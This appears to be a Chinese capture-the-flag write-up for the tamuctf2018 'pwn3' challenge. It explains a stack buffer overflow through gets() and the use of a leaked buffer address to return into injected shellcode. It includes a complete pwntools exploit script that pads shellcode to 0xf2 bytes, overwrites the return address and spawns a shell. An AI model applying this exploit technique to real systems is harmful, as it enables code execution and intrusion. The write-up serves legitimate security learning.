tamuctf2018_pwn3

思路

  • 首先看到主函数,提示没有print_flag函数可以用了,要自己写shellcode,看到调用echo函数,在echo函数可以看见gets,再次的知道溢出点在此,因此我们可以使该处溢出,从而控制程序流。通过查看栈,可以看出s的大小在0xee,但为了使程序流走向我们想要的位置,还需要覆盖多0x4,一共覆盖0xf2大小的空间
  • 但问题是我们如何如何构建一个类似函数的东西,要有函数的地址,内部空间存有我们的shelllcode,因此,我们还要关注到在调用gets前,程序还输出了s所在的地址。
echo.png
  • 因此我们可以获取s的地址并把shellcode也当作覆盖地址的第一部分代码,在最后函数返回地址处覆盖为s的地址,使得程序回到s的开头,同时也是我们shellcode所在的地方,从而执行shellcode
from pwn import*

context.log_level = 'debug'

shellcode = asm(shellcraft.sh())

io=process('./pwn3')
io.recvuntil('Your random number ')
text=io.recvline()[2:10]
print text

b_addr= int(text,16)

payload = shellcode + '\x90'* (0xf2 - len(shellcode)) +p32(b_addr)
io.recvuntil('Now what should I echo? ')
io.send(payload)
io.interactive()
io.close()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 0x01 fd 文件描述符 0、1、2分别代表标准输入、标准输出和标准错误,所以输入0x1234的十进制值,再次...
    Nevv阅读 5,866评论 0 6
  • .bat脚本基本命令语法 目录 批处理的常见命令(未列举的命令还比较多,请查阅帮助信息) 1、REM 和 :: 2...
    庆庆庆庆庆阅读 8,213评论 1 19
  • 发现这是个很好用的app啊 之前还错怪你 对不起啦 突然很心急 心急自己没有多余的挣钱的能力 心急没有跟我是要好的...
    宇宙无敌总攻大人阅读 265评论 0 0
  • 阿玲是个典型的家庭妇女。她总是在“重复”中生活,洗衣服、做饭、打扫家务、带孩子是她的全部生活,一年365天,...
    胡同小怪阅读 249评论 3 0